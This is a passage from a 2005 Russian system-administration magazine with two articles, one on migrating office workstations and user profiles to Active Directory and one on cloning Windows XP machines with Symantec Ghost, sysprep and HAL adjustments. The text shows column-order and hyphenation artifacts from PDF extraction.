желая сэкономить время (действитель-но, процесс архивации данных – самый длительный и утомительный).

Перед основным этапом работ про-верьте следующее:! Должна быть сделана полная ко-

пия всех рабочих данных с сервера. Их необходимо хранить отдельно, на носителе, который вообще ни-как не участвует в рабочем процес-се. После архивирования проведи-те процедуру контрольного восста-новления – не всегда удается ско-пировать все по каким-либо причи-нам (права доступа и пр.) Хорошей проверкой на полноту архивации является перемещение, а не копи-рование файлов – тогда после за-вершения процедуры на источнике не должно остаться исходных дан-ных. Если что-то осталось – про-верьте, скопировалось ли на ре-зервный носитель. Если есть воз-можность, сделайте две копии – од-ну на любую рабочую станцию в се-ти, имеющую необходимый объ-ем дискового пространства, а вто-рую – на указанный носитель, ко-торый сразу уберите подальше.

! Наличие возле каждого рабочего места заполненных пользователя-ми анкет, с указанием данных, ко-торые необходимо сохранить/пере-нести со старой системы. Подразу-мевается, что вы сможете расшиф-ровать записи пользователей, поэ-тому заранее проведите все уточ-нения. Также необходимо знать, где хранятся рабочие данные исполь-зуемых пользователями программ и ОС. Будьте осторожны с такими программами, как Microsoft Outlook и Microsoft Outlook Express – их фай-лы данных располагаются в профи-лях пользователей, причем «зако-паны» довольно глубоко:! Данные Microsof t Outlook –

%USERPROFILE%\Local Settings\App l i cat ion Data \ M ic rosof t \Outlook\*.pst.

! Д а н н ы е M i c ro s o f t O u t l o o k Express – %USERPROFILE%\Local Settings\Application Data\Identit ies\{<цифровой код>}\Корпорация Microsoft\Outlook Express\*.*.

! Адресная книга: %USERPRO-FILE%\Application Data\Microsoft\Address Book\*.wab.

! Избранное Internet Explorer: %USERPROFILE%\ Избран -ное (про него часто забывают, а у пользователя может быть сохранено огромное количест-во ссылок).

Не совсем рациональным хране-нием данных почтового ящика от-личается и популярная почтовая программа The_BAT! – по умол-чанию они хранятся в папке с са-мой программой. Кстати, не забы-вайте об использовании встроен-ных мастеров экспорта и импор-та данных, но не вздумайте слепо им доверять – после экспорта дан-ных всегда проверьте их импорт на «чистую» систему.

! Все необходимые драйвера для пе-реустановки ОС на серверах и ра-бочих станциях. Крайне рекомен-дуется иметь несколько «универ-сальных» дисков с драйверами по-пулярных материнских плат и уст-ройств.

! Назначен день «X», в который ник-то из пользователей не будет ра-ботать. Оптимальны – два выход-ных дня – за один можно не успеть. При этом должен быть обеспечен пропускной режим на предприятие и доступ во все помещения с ком-пьютерами.

Переход к Active DirectoryИтак, назначенный день наступил и не-обходимо начинать работы по созда-нию домена. Еще раз убедитесь, что все данные с перенастраиваемого сер-вера сохранены в надежном месте.

Устанавливаем серверную опера-ционную систему, обновления, про-водим все первичные настройки. Со-здаем и настраиваем домен (подроб-но этот процесс многократно описан, в том числе в [1]). После проверки ра-ботоспособности домена вводим в не-го рабочие станции пользователей. Еще перед вводом в домен озаботь-тесь их корректным именованием, при-меняя только латиницу, без пробелов. Русские имена не поддерживаются

DNS, а от его работоспособности за-висит вся работа Active Directory. Реко-мендуется сразу создать в домене пер-вую учетную запись пользователя, ра-бочую станцию которого мы будем вво-дить в домен первой. После ввода про-веряем минимальную корректность на-строек – вход в домен после перезаг-рузки должен осуществляться не доль-ше 1 минуты. Если очень продолжи-тельное время вы наблюдаете таблич-ку «Применение параметров безопас-ности» – какие-то из настроек некор-ректны (чаще всего неправильно на-строен DNS-сервер, либо не он пропи-сан в свойствах сетевого подключения клиента). Первый вход осуществляем с учетными данными пользователя, ра-ботающего за этой рабочей станцией. В этот момент создается его профиль, который будет соответствовать про-филю данной системы по умолчанию. Все предыдущие настройки останутся в старом профиле пользователя. Если имя для входа в домен не отличается от предыдущего локального имени – но-вый профиль будет создан с префик-сом <имя домена>. Это сделано для того, чтобы не повредить предыдущие настройки. Сразу после первого входа в систему завершаем сеанс пользова-теля и входим уже с учетной записью администратора домена для перене-сения документов и настроек из ста-рого профиля. Заходим в папку профи-лей (на системах Windows 2000 и вы-ше это папка Documents and Settings) и копируем необходимые нам элемен-ты в новый профиль (см. рис. 2). Обра-тите внимание – не переносим, а имен-но копируем, чтобы осталась возмож-ность воспользоваться локальным вхо-дом в систему со старыми учетными данными. Таким образом, у вас будет возможность войти в систему локаль-но и посмотреть необходимые настрой-ки. Например, для баз «1С:Предпри-ятие 7.7», в большом количестве при-сутствующих у сотрудников бухгалте-рии, достаточно сохранить один раз-дел реестра (HKEY_CURRENT_USER\Software\1C\1Cv7\7.7\Titles) и затем вне-

Page 13: 034 Системный Администратор 09 2005

11№9, сентябрь 2005

администрирование

ва. ваши реплики при общении долж-ны быть спокойными и уравновешен-ными: «Не волнуйтесь, сейчас все на-стройки восстановим. Мне понадобит-ся ваша помощь» и т. д. Рекомендуется повесить на входе объявление о «Пере-ходе на новую систему» с просьбой по всем вопросам обращаться к вам.

После перенастройки системы вы услышите множество возгласов в сти-ле: «Все мои документы пропали!». Главное не паниковать – если все было сделано грамотно и архивы созданы, – восстановить связи недолго. Не стоит метаться от одного пользователя к дру-гому – по очереди подойдите к каждо-му и попросите при вас проверить ра-ботоспособность системы. Устраните самые срочные проблемы и перейди-те к следующему пользователю. Если в процессе исследований какие-то на-стройки или документы пользователей были утрачены – немедленно просмот-рите информацию, указанную пользо-вателем в анкете компьютера. Если там ничего не говорится об этих данных – вы тоже не экстрасенс и догадываться на астральном уровне не могли. Пояс-ните это пользователю. Именно поэто-му очень важно несколько раз предуп-редить пользователей об ответствен-ности при заполнении анкеты.

Практика показывает, что при адек-ватной психологической реакции ад-министратора (профессионализм, спо-койствие и невозмутимость) такие про-екты осуществляются ровно и по пла-ну. Разумеется, что речь идет именно о корректной реализации такого внед-рения. Если перебои в работе предпри-ятия или потеря данных была вызвана ошибками системного администрато-ра – стоит задуматься о повышении квалификации и не браться за подоб-ные проекты.

Автор статьи реализовал более 200 подобных и более сложных проектов системной интеграции и частично опи-сал свой личный опыт работы.

Литература:1. Марков Р. Установка и настрой-

ка Windows 2К Server. – Журнал «Системный администратор» №10, 2004 г. – 88-94 с.

2. Microsof t Windows 2000 Active Directory Services. Учебный курс. Издательство: Русская Редакция – http://www.rusedit.ru.

сти информацию из него после входа в домен. Полностью копировать содер-жимое старого профиля не рекоменду-ется без особых оснований, чтобы не перетаскивать ненужный мусор – если что-то понадобится – всегда можно бу-дет потом достать.

Проверив работоспособность пер-вой рабочей станции домена, можно переходить к вводу в домен остальных, повторяя описанную процедуру.

Несмотря на то, что при входе поль-зователя в домен создается новый профиль, а старый остается невреди-мым – все равно крайне рекомендует-ся создавать архивную копию указан-ных данных в независимом месте. Ес-ли же на рабочей станции производи-лась переустановка ОС, то все пользо-вательские данные необходимо будет восстанавливать именно из упомяну-того архива.

При переносе данных из одного профиля в другой помните, что если пользователь не будет являться ло-кальным администратором компью-тера, то может возникнуть необходи-мость принудительного делегирования ему необходимых разрешений NTFS. Например, на папку почтового ящика в программе The_Bat и пр. В против-ном случае вы можете столкнуться с ситуацией, когда пользователь будет видеть документ (ярлык, папку и пр.), а в доступе ему будет отказано. Это же касается настроек и данных программ – если какая-либо программа после переноса настроек отказывается ра-ботать, – прежде всего проверьте пра-ва доступа нового пользователя к ра-бочим папкам программы. В ситуаци-ях, когда затруднительно понять, ку-да же именно не хватает прав досту-па и в этом ли заключается проблема, можно на время делегировать пользо-вателю права локального администра-тора и заново произвести вход в систе-му. Если проблема локализована и ос-тается определить объекты доступа – можно воспользоваться любым сис-темным монитором от стороннего про-изводителя, позволяющим вести жур-нал обращения к объектам. Я исполь-зую для этих целей программу Filemon от Sysinternals. Она удобна тем, что не требует инсталляции и показывает не только файловую активность, но и результаты обращения к реестру, а так-же к Named Pipes. Акцентирую внима-

ние на том, что делегируются права ло-кального администратора на конкрет-ной локальной станции, а не права ад-министратора домена! В грамотно на-строенной сети даже если пользова-телю оставить эти права для работы – кроме настроек своего компьютера он ничего испортить не сможет.

Начинаем работать с доменом ADРазумеется, что первое тестирование работоспособности системы должны проводить вы – еще до того, как поль-зователи выйдут на свои рабочие мес-та. При перенесении настроек из ста-рых профилей в новые необходимо на каждом рабочем месте сымитиро-вать работу конкретного пользовате-ля – открыть несколько документов, проверить работоспособность почты, баз данных и пр. Не поленитесь сде-лать это, иначе в первый час работы фирмы вам придется «разрываться на части» между компьютерами, вос-станавливая работоспособность конк-ретных программ. Например, осущест-вив первый вход в систему, обязатель-но поочередно запустите программы семейства Microsoft Office – при пер-вом запуске с новым профилем поль-зователя они произведут необходимые настройки, возможно, потребовав дис-трибутивные файлы. В противном слу-чае пользователь, ткнув в любой до-кумент Office, запустит этот процесс, получив при этом сообщение о недо-ступности файла. Практика показы-вает, что это наиболее частое упуще-ние. То же самое с путями и правами к базам системы «1С:Предприятие» – выше описан способ восстановления таких настроек. Не забывайте также про папки с общим доступом и прочие сетевые ресурсы – их все необходимо будет восстановить и проверить рабо-тоспособность и права доступа. Также часто пользователи для доступа к се-тевым ресурсам используют быстрые ссылки, автоматически создаваемые в папке «Сетевое окружение».

В первый день ввода в эксплуата-цию новой системы вы должны поя-виться на предприятии раньше всех. Если вы позволите себе опоздать, ре-акция пользователей будет непред-сказуемой – от недоумения до паники. Главное – не позволяйте пользовате-лям сеять эту панику среди коллекти-

Page 14: 034 Системный Администратор 09 2005

12

администрирование

SYMANTEC GHOST,SYMANTEC GHOST,ИЛИ КАК СДЕЛАТЬ КЛОН СВОИМИ РУКАМИИЛИ КАК СДЕЛАТЬ КЛОН СВОИМИ РУКАМИ

Вам наверняка приходилось сталкиваться с ситуацией, когда нужно было

установить несколько компьютеров с абсолютно одинаковым набором программ.

«Тупая механическая работа – думали вы, – почему нельзя просто взять и скопировать?».

Собственно, а кто сказал, что нельзя? Очень даже можно, и сегодня вы узнаете как!

МИХАИЛ ПЛАТОВМИХАИЛ ПЛАТОВ

Первое знакомствоПоддержка парка компьютеров боль-шого предприятия – задача не из лег-ких. Наиболее удручающая часть – ру-тинная работа по обслуживанию ком-пьютеров. Наиболее типичные задачи: установка ОС, поддержка ее работос-пособности, модернизация оборудова-ния, миграция настроек пользователей и т. д. Для решения этих проблем мож-но использовать платформу Windows Server System. Так, благодаря Active Directory упрощается управление учет-ными записями пользователей органи-зации, а с помощью Remote Installation Services (RIS) можно автоматизировать процесс установки операционной сис-темы. Однако возможности RIS небез-граничны, поэтому и существуют про-дукты партнеров Microsoft, к числу ко-торых относится и Symantec. О продук-те Symantec Ghost 8.0 Corporate Edition и пойдет речь в этой статье.

Итак, что же может делать Symantec Ghost? Полный ответ приводится на бо-лее чем трехстах страницах сопрово-дительного руководства [1]. Коротко же можно сказать так: «Symantec Ghost позволяет значительно облегчить уста-новку и поддержку ОС и программно-го обеспечения в организации». Крат-ко перечислю его наиболее интерес-ные функции:! Массовое «клонирование» компью-

теров. Представьте, что вам необ-ходимо установить операционную систему, а также некий набор про-грамм на 100 только что купленных компьютеров. С помощью Symantec Ghost можно изготовить так назы-ваемый «эталонный образ», содер-жащий все необходимые програм-мы, а затем растиражировать его на необходимое количество ком-пьютеров (при этом предполагает-ся, что вы располагаете необходи-

мыми лицензиями для эксплуата-ции ПО на необходимом количес-тве компьютеров).

! Резервное копирование. С помо-щью Ghost можно делать резерв-ные копии нескольких папок, раз-делов и жестких дисков. Поддержи-ваются как полные, так и инкремен-тальные резервные копии.

! Восстановление компьютеров до «известного» состояния. С помо-щью планировщика заданий мож-но по заданному расписанию пе-риодически (например, раз в день) восстанавливать ОС на компьюте-рах до известного состояния. Дан-ная схема особенно полезна для интернет-салонов, учебных заве-дений, а также других мест, в ко-торых за компьютерами работает большое количество слабо конт-ролируемых пользователей. Кро-ме того, при такой схеме для уста-

Page 15: 034 Системный Администратор 09 2005

13№9, сентябрь 2005

администрирование

Рисунок 1. Структура Symantec Ghost

новки новой программы на все ком-пьютеры достаточно просто один раз обновить используемый мас-тер-образ.

! Централизованное управление компьютерами – с помощью кон-соли можно выполнять на управ-ляемых компьютерах любые коман-ды и файлы, а также получать ин-формацию от системных объектов WMI. Так, по определенному при-знаку (тип ОС, объем установлен-ной памяти и другие параметры) можно выделить группу компьюте-ров и выполнить для них некоторую команду (запуск файла установки обновления ПО, специализирован-ная утилита и т. д.).

! Миграция параметров пользовате-лей – используя встроенные средс-тва, можно перенести файлы и па-раметры учетной записи пользо-вателя при установке новой вер-сии операционной системы.

! Централизованная установка ПО – создавая специальные пакеты ус-тановки (AI Packages), можно прос-то и быстро устанавливать допол-нительное ПО на компьютеры, уп-равляемые Ghost-сервером.

! Поддержка популярных файло-вых систем. Symantec Ghost может на уровне файлов работать с фай-ловыми системами FAT, FAT32, NTFS и Linux Ext2/3.

! Возможность работы с различными устройствами. Для хранения обра-зов могут использоваться локаль-ные жесткие диски, сетевые ресур-сы, CD и DVD-приводы, устройства USB 1.1/2.0 и FireWire (IEEE1394).

Для лучшего понимания при-нципов работы, давайте посмотрим на Symantec Ghost изнутри.

Как видно из рис. 1, Symantec Ghost представляет собой типичное кли-ент-серверное приложение. Сер-верная часть представлена «Служ-

бой конфигурации» (Symantec Ghost Configuration Service), СУБД Adaptive Server Anywhere 7.0 и графической кон-солью управления (Ghost Console).

В составе клиента условно можно выделить два основных компонента:! Ghost-раздел на жестком диске.! Клиент Ghost-консоли, работаю-

щий как системная служба ОС.

Существует два типа Ghost-разде-лов: реальный раздел на жестком дис-ке (FAT12, 16 Мб) и так называемый «виртуальный» раздел. Первый явля-ется обычным загрузочным DOS-раз-делом, с которого при необходимос-ти запускается DOS-версия клиента Ghost. (Например, при обновлении ОС компьютера). В отличие от реального раздела, виртуальный создается в не-фрагментированном файле, на загру-зочном системном диске. Если вы пла-нируете периодически обновлять ОС, то лучше создать выделенный раздел для клиента, если же Ghost будет пре-имущественно использоваться только для выполнения команд, установки ПО, получения информации и редкой пере-установки ОС, то можно ограничиться виртуальным разделом.

Работа в Ghost происходит по сле-дующему сценарию:! С помощью консоли администра-

тор назначает компьютеру зада-ние (запись раздела жесткого дис-ка, установка пакета ПО, копирова-ние фалов, применение парамет-ров компьютера, выполнение фай-ла и т. д.).

! Сервер конфигурации подключа-ется к клиенту и сообщает ему ко-манду, которую необходимо выпол-нить.

! В зависимости от типа команды клиент либо выполняет ее непос-редственно из Windows, либо загру-жает DOS-версию клиента и выпол-няет ее оттуда (например, в случае записи раздела диска).

Итак, думаю общее рассмотрение на этом можно закончить и плавно пе-рейти к практической части нашего ис-следования.

Устанавливаем Ghost-серверВ качестве примера рассмотрим реше-ние проблемы, которую мы рассмотре-ли выше – установка 10 новых компью-теров с возможностью их периодичес-

FAQМожно ли с помощью Ghost клонировать

Linux, установленный на ext2/3 файло-

вую систему?

Можно, но в этом случае образ будет де-латься посекторно, со всеми вытекающи-ми отсюда последствиями (невозможность изменения размера раздела при клониро-вании, отсутствие возможности просмотра и редактирования файлов в образе).

Можно ли с использованием Ghost кло-

нировать Windows 2000/2003 серверы?

Технически ghost способен сделать об-раз раздела или диска сервера, который в дальнейшем может использоваться как резервная копия или как образ для мигра-ции. Если же предполагается создание до-полнительной копии существующего сер-вера, например, для работы в качестве резервного контроллера домена, то ghost для этих целей лучше не использовать. Де-ло в том, что многие серверные службы при установке создают собственные уни-кальные идентификаторы. При клонирова-нии Ghost изменит только SID компьюте-ра (с помощью Ghost Walker или sysprep). Идентификаторы служб потеряют свою уникальность, что в свою очередь может привести к сбоям в их работе.

Как клонирование отражается на фай-

лах, зашифрованных с помощью EFS?

Если при клонировании вы изменяете SID (с помощью sysprep, Ghost Walker или дру-гого средства), то зашифрованные файлы прочитать будет невозможно. Если же де-лаете копию диска в целях резервирова-ния, то SID не изменится и зашифрованные файлы будут читаться так же, как и на ри-гинальном компьютере.

Можно ли с помощью Ghost клонировать

ОС, установленную на RAID-массиве?

Нет, работа с RAID-массивами не подде-рживается.

Page 16: 034 Системный Администратор 09 2005

14

администрирование

кого сброса до начального состояния. Для усложнения задачи будем считать, что компьютеры имеют различные ап-паратные конфигурации.

Первое, что нам потребуется сде-лать, – установить Ghost-сервер. Для этого скачаем с сайта Symantec [2] ознакомительную версию Symantec Ghost 8.0 Trialware (90 Мб). Эта версия обладает полной функциональнос-тью, ограничением же является макси-мальное число обслуживаемых клиен-тов – 10, а также суммарное количес-тво операций, которые можно выпол-нить из консоли – 20. Процесс инстал-ляции не должен вызвать каких-либо затруднений – стандартные диалоги мастера InstallShield. Установка с па-раметрами по умолчанию (все компо-ненты) нас вполне устроит.

Системные требования для сервера более чем скромные – ОС Windows 2000 SP4 или выше с 96 Мб ОЗУ. После ус-тановки сам Ghost занял 72 Мб на дис-ке. Требования к клиентам еще смеш-нее – процессор от 386. Поддержива-емые клиентом ОС – от Windows 9x до Windows XP, Linux (желательно с файловой системой ext2 или ext3).

После установки будут созда-ны две системные службы: Symantec

Ghost Database Service и Symantec Ghost Win32 Configuration Server. Пер-вая служба представляет собой СУБД Adaptive Server Anywhere 7.0, которая используется для хранения служеб-ных данных, вторая – сервер конфигу-рации Ghost, отвечающий за взаимо-действие с Ghost-клиентами.

В программном меню будет созда-ны ярлыки для запуска следующих компонентов:! Symantec Ghost Console – как сле-

дует из названия, это и есть основ-ной компонент, с помощью кото-рого осуществляется управление зарегистрированными рабочими станциями.

! GhostCast Server – с помощью это-го приложения можно вручную ор-ганизовывать передачи ghost-обра-зов клиентам. Очень полезно при первом подключении компьютеров к консоли. При выполнении зада-ний из консоли GhostCast Server будет запускаться автоматически.

! Ghost Boot Wizard – с помощью этой утилиты можно формировать загрузочные носители (дискета, компакт-диск, загрузочный раздел жесткого диска), содержащие DOS-клиента Ghost.

! AI Builder – инструмент создания па-кетов установки ПО для их после-дующего централизованного раз-мещения через Ghost-консоль.

! Ghost Explorer – программа, позво-ляющая просматривать и редакти-ровать Ghost-образы.

На этом ненадолго оставим наш сервер и перейдем к клиентскому ком-поненту.

Изготавливаем клонПервое, что нам понадобится сде-лать, – создать эталонный образ, кото-рый впоследствии и будет растиражи-рован на все компьютеры. При этом мы можем использовать как образ всего жесткого диска (содержащий загруз-чик и все разделы), так и образ одно-го системного раздела ОС. Второй спо-соб является более гибким и, возмож-но, чуть более сложным. Именно его мы и рассмотрим.

Итак, возьмем наиболее типичный компьютер и приступим к установке. Первым делом переразметим диск, удалив с него все разделы. Для ОС и сопутствующих программ созда-дим 10 Гб primary-раздел. Оставшее-ся место используем по собственно-му усмотрению, например, для хране-ния файлов. В установке ОС нет ни-каких особенностей (здесь предпола-гается, что используется корпоратив-ная версия Windows XP SP2, не тре-бующая повторной активации при из-менении оборудования). Единствен-ное, при использовании XP SP2 при-шлось отключить режим «Простого об-щего доступа к файлам» и активиро-вать исключающее правило для служ-бы «File and Printer Sharing» в парамет-ры firewall. Разрешения для Ghost-кли-ента в Windows Firewall добавились ав-томатически.

Для централизованного управле-ния установим на подопытную маши-ну клиента Ghost-консоли. Для это-го зайдем на сервер, запустим Ghost Console и в меню Tools выберем пункт Remote Client Install. В появившемся списке выберем нужный компьютер и нажмем кнопку «Add >>». Затем вве-дем имя и пароль пользователя, име-ющего доступ к машине, в нашем слу-чае таким пользователем будет ло-кальный администратор. После нажа-тия кнопки «Install» сервер подключит-

Меняем HALА зачем вообще может понадобиться сме-на HAL? В нашем случае целью является создание «универсального образа ОС», ра-ботающего на компьютерах различной кон-фигурации, хотя могут быть и другие при-чины: например, вы купили новую материн-скую плату с поддержкой HyperThreading, а переустанавливать заново ОС и все про-граммы особого желания нет.

Можно выделить два варианта заме-ны HAL – смена «более продвинутого HAL» (нижние строки таблицы 1) на более «ста-рый» (верхние строки таблицы 1). В этом случае подойдет стандартное средство – диспетчер устройств. Найдем устройство компьютер, в контекстном меню выберем «Обновить драйвер» и в режиме ручной ус-тановки выберем нужный HAL из списка.

К сожалению, для обратной замены (более старого HAL на продвинутый), на-чиная с Windows XP и выше, такой способ не работает, и HAL придется менять вруч-ную.

Для начала определитесь с типом HAL, который вы хотите установить. Если вы

планируете установить ACPI-ядро вместо Standard PC, то, скорее всего, придется пе-реустанавливать ОС, слишком сильны от-личия в реестре. Если же нужно заменить одно ACPI-совместимое ядро на другое, то можно обойтись без переустановки.

Рассмотрим сказанное на примере. До-пустим мы хотим обновить HAL для под-держки HyperThreading. Из дистрибути-ва Windows (или файла drivers.cab) возь-мем файлы ntkrnl.exe и halmacpi.dll и ско-пируем их в папку system32 инсталляции Windows. Затем откроем файл boot.ini и продублируем последнюю строчку, доба-вив к ней параметры /kernel=ntkrnlmp.exe /hal=halmacpi.dll.

Должно получиться нечто похожее на это:

Теперь перезагрузимся и проверим новый HAL, открыв Task Manager. На ком-пьютерах с поддержкой HT процессоров будет два.

ulti(0)disk(0)rdisk(0)partition(1) ↵ WINDOWS="XP Professional MP" ↵ /noexecute=optin /fastdetect ↵ /kernel=ntkrnlmp.exe ↵ /hal=halmacpi.dll

Page 17: 034 Системный Администратор 09 2005

15№9, сентябрь 2005

администрирование

Рисунок 2. Стандартные версиидрайверов

ся к компьютеру и установит на него Ghost-клиента.

Если же по каким-то причинам дис-танционно установить клиента не уда-лось, то можно провести установку вручную. Дистрибутив клиента можно взять либо на компакт-диске продукта, либо в папке установки сервера. При запуске необходимо указать имя ком-пьютера с Ghost-сервером. Через не-которое время после установки маши-на появится в Ghost-консоли.

Подготавливаем образПосле завершения инсталляции про-грамм перейдем к наиболее интерес-ному моменту – подготовке системы к тиражированию. При этом нам не-обходимо будет решить две основные проблемы:! Добиться переносимости образа

между компьютерами с различным оборудованием.

! Сделать так, чтобы ОС-клоны смог-ли работать в одной сети.

Истоки первой проблемы скрыва-ются в недрах архитектуры Windows NT, а именно – в механизме работы ОС с оборудованием. В Windows NT сущес-твует так называемый HAL (Hardware Abstraction Layer) – уровень абстрак-ции от оборудования, скрывающий от ядра ОС особенности работы с фи-зическими устройствами. Ничего пло-хого в самой идее HAL нет, скорее да-же наоборот, просто его конкретная реализация в ОС Windows вызывает некоторые трудности применитель-но к массовому тиражированию. Де-ло в том, что в Windows существует несколько различных HAL. Так есть HAL PIC, APIC, MP и несколько версий ACPI (cм. таблицу 1). Выбор в пользу применения конкретного HAL дела-

ется на этапе установки ОС, в зави-симости от типа имеющегося в ком-пьютере оборудования. Так, для ком-пьютеров на основе чипсета i440LX/BX, скорее всего, будет выбран HAL PIC или APIC, в то время как на бо-лее новых материнских платах (боль-шинство выпущенных после 1999 го-да) при установке, скорее всего, будет выбрана ACPI-версия HAL. Соответс-твенно, если эталонная система изго-тавливалась на компьютере с полной поддержкой ACPI (в диспетчере уст-ройств для компьютера написано ACPI Uniprocessor PC), то растиражировать образ можно будет только на такие же 100% ACPI-совместимые компьютеры. С другой стороны, использовать HAL Standard PC на современных компью-терах тоже не совсем правильно.

Таким образом, выбор в пользу конкретного HAL следует произво-дить исходя из реального парка ком-пьютеров. В нашем примере мы будем использовать компромиссный вари-ант HAL – Advanced Configuration and Power Interface (ACPI) PC, поддержи-вающий часть спецификаций ACPI. В этом случае мы, с одной стороны, получим большинство функций Power Management, а с другой стороны, обес-печим хорошую переносимость кло-на. Гораздо проще поддерживать один клон, чем по одному для каждой ли-нейки, особенно если линеек таких много.

Однако успех переноса определя-ется не только текущим HAL, но и драй-верами, используемыми в системе. Так, наверняка многие из вас пробо-вали переставлять жесткий диск с ус-тановленной ОС в другой компьютер, причем если в этом компьютере ис-пользовался другой чипсет (более но-вая версия или чипсет другого произ-

водителя) то ОС, как правило, старто-вать отказывалась. Причина такого по-ведения достаточно проста. ОС загру-жается, попутно инициализируя извес-тные ей устройства. Думаю, не нуж-но быть пророком, чтобы догадаться, что скажет IDE контроллер Intel, когда с ним будут говорить на языке конт-роллера VIA или AMD. Мы же при этом обычно видим «синий экран» с над-писью «Inaccessible boot device». Что-бы этой ситуации избежать, посту-пим следующим, неоднократно про-веренным способом: перед перено-сом системы с помощью диспетчера устройств заменим драйверы контрол-лера IDE и его каналов стандартными версиями. Перезагружать компьютер при этом не нужно (рис. 2).

Далее можно выключить компью-тер, вытащить диск, переставить его в другую машину, например, с другой аппаратной конфигурацией, при необ-ходимости установить недостающие драйверы и убедиться, что все коррек-тно работает. Повторив эту операцию для каждого типа используемых ма-шин, мы доставим в систему все не-обходимые драйверы, тем самым из-бавив себя от проблем с их установ-кой после клонирования. На этом пер-вую проблему (переносимость) мож-но считать решенной и теперь перей-дем ко второй.

Причины второй проблемы кроются в механизмах работы ОС Windows NT

Таблица 1. Возможные типы HAL, используемые Windows

Page 18: 034 Системный Администратор 09 2005

16

администрирование

в рамках сети. В доменах и ра-бочих группах компьютеры идентифицируются по име-ни и уникальному идентифи-катору безопасности – SID (Security Identifier), создавае-мому на этапе установки ОС. Таким образом, скопировав диск «в лоб» мы получим вто-рую копию операционной сис-темы, имеющую точно такие же SID компьютера и пользо-вателей. С практической сто-роны эта ситуация будет вы-глядеть следующим образом: из всех наших клонов только один сможет войти в рабочую группу или домен.

Итак, как вы уже, навер-ное, догадались, решением второй проблемы является изменение имен и компью-теров и их идентификаторов безопасности (SID). Для этого можно использовать как ми-нимум 2 средства:! Symantec Ghost Walker! Microsoft Sysprep

Первое средство входит в состав корпоративной вер-сии Ghost и предназначе-но специально для измене-ния идентификаторов безо-пасности.

Второе, более полно именуемое как System Preparation Tool, выпускает-ся корпорацией Microsoft для тиражи-рования и аудита ОС Windows 2000/XP корпоративными клиентами, реселле-рами и дистрибьюторами. Ввиду боль-шей гибкости и универсальности для решения нашей задачи будем исполь-зовать sysprep. Помимо самой утили-ты нам понадобится сделать так назы-ваемый «файл ответов», в котором бу-дут указаны параметры, которые бу-дут использоваться для автоматиза-ции установки. Утилиту sysprep возь-мем с компакт-диска Windows XP из ар-хива deploy.cab, находящегося в пап-ке support\tools. Разархивировав со-держимое архива, на Ghost-сервер за-пустим файл setupmgr.exe. С его помо-щью мы создадим файл ответов для sysprep. В первом диалоге укажем, что мы хотим создать новый файл (пункт «create new»), во втором выбе-рем файл ответов для sysprep (опция

«sysprep setup»), далее укажем тип ис-пользуемой нами ОС, а на последний вопрос мастера выберем ответ с пол-ной автоматизацией установки («Yes, fully automate the installation»). В появив-шемся окне мы можем ввести ответы на вопросы, задаваемые при установ-ке. Для успешного клонирования опре-делим следующие значения полей:! Time Zone – выберем GMT+3.! Product Key – введем серийный но-

мер ОС.! Computer Name – выбрать вари-

ант с автоматической генерацией имен.

! Networking Components – использо-вать DHCP.

! Workgroup or domain – необходимо оставить вариант с включением в рабочую группу.

! Regional Settings, Languages – вы-брать русский язык.

Остальные поля можно заполнить

по собственному усмотрению. Сохраним файл под именем sysprep.inf (рис. 3).

Теперь вернемся к Ghost-консоли и создадим зада-ние для получения образа. Для этого откроем раздел меню Tasks, щелкнем правой кнопки мыши в области спра-ва и в появившемся меню вы-берем параметр «New Image Create Task» (см. рис. 5).

В появившемся окне за-дадим имя задания – Dump Image, выберем диск, раздел и компьютер, с которого бу-дет делаться образ. Напро-тив «Image Name» нажмем «Browse», и укажем имя фай-ла, которое будет использо-ваться для хранения образа (см. рис. 4).

На закладке «Network» вы-берем режим «Unicast» и, ес-ли необходимо, зададим огра-ничение на максимально ис-пользуемую пропускную спо-собность сети. Затем перей-дем на закладку «Sysprep», активируем параметр «Run Microsoft Sysprep on machine before creating image» и созда-дим sysprep-конфигурацию с использованием файлов, распакованных из deploy.cab.

После запуска этого задания на маши-не-эталоне загрузится DOS-клиент, ко-торый начнет передачу образа на сер-вер (см. рис. 6).

Предстартовый отсчетКак только образ скопируется, можно будет перейти к заключительному эта-пу – массовой установке ОС на клиент-ские компьютеры. А пока идет копи-рование, произведем небольшую на-стройку рабочих станций. Как вы уже, наверное, догадались, для передачи образа на рабочие станции нам по-надобится предварительно запустить на них Ghost-клиента. Сделать это можно двумя способами.

Рисунок 3. Окно диалога Setup Manager

Рисунок 4. Диалог создания задания

Рисунок 5. Создание задания

Page 19: 034 Системный Администратор 09 2005

17№9, сентябрь 2005

администрирование

лать это можно с помощью следу-ющей команды:

Через PXE загрузить все осталь-ные компьютеры и записать на них полученный образ. (Внимание! При этом вся информация на пер-вом жестком диске будет уничтоже-на!) В самом простом случае доста-точно модифицировать стартовые скрипты дистрибутива так, чтобы выполнялись команды dd и reboot.

После перезагрузки компьютеры загрузят DOS-клиента Ghost и зарегис-трируются в консоли. Теперь создадим для них конфигурации (имя компью-

тера, рабочая группа и т. д.), взяв в качестве шаблона ва-риант от компьютера-клона (см. рис. 7).

Вот теперь мы можем при-ступать к клонированию ком-пьютеров.

Лейся, образ…Для доставки образа созда-дим задание Deploy Image. Перейдем в раздел Tasks, и в контекстном меню мыши выберем пункт «New Task». На первой зак ла дке от-метим галочками «Clone» и «Configuration» и выберем группу подопытных машин (см. рис. 8).

На второй закладке вы-берем режим Multicast, на за-

# dd if=/dev/hda of=/home/hda ↵ count=32256 ibs=512

322256+0 records in322556+0 records out

Рисунок 8. Основные настройки задания Deploy Image

Рисунок 6. Передача образа в DOS-клиенте

Способ 1: загрузка DOS-версии Ghost-клиента с помощью 2 загру-зочных дискет. Создать дискеты мож-но с помощью мастера «Ghost boot Wizard». В этом случае нужно будет вручную загрузить все необходимые компьютеры, запустить GhostCast-сервер и передать клиентам файл-об-раз. Данный способ прост, и его впол-не можно использовать, если машин немного и регулярно клонировать их, скорее всего, не придется.

Если же ситуация иная, то больше подойдет способ 2: автоматизирован-ная установка служебного Ghost-раз-дела. В этом случае с использованием механизмов сетевой загрузки на каж-дом клиентском компьютере созда-ется служебный загрузочный раздел, на котором размещается DOS-версия клиента.

В варианте «из коробки» для сетевой загрузки Ghost используется механизм 3Com DynamicAccess boot. Ввиду то-го, что эта технология подде-рживается далеко не всеми сетевыми платами, рассмот-рим другой, более универ-сальный способ.

Идея следующая – сете-вая загрузка Linux-системы с последующим копировани-ем служебного раздела Ghost. При этом необходимо выпол-нить следующие шаги:! Создать 2 загрузочные

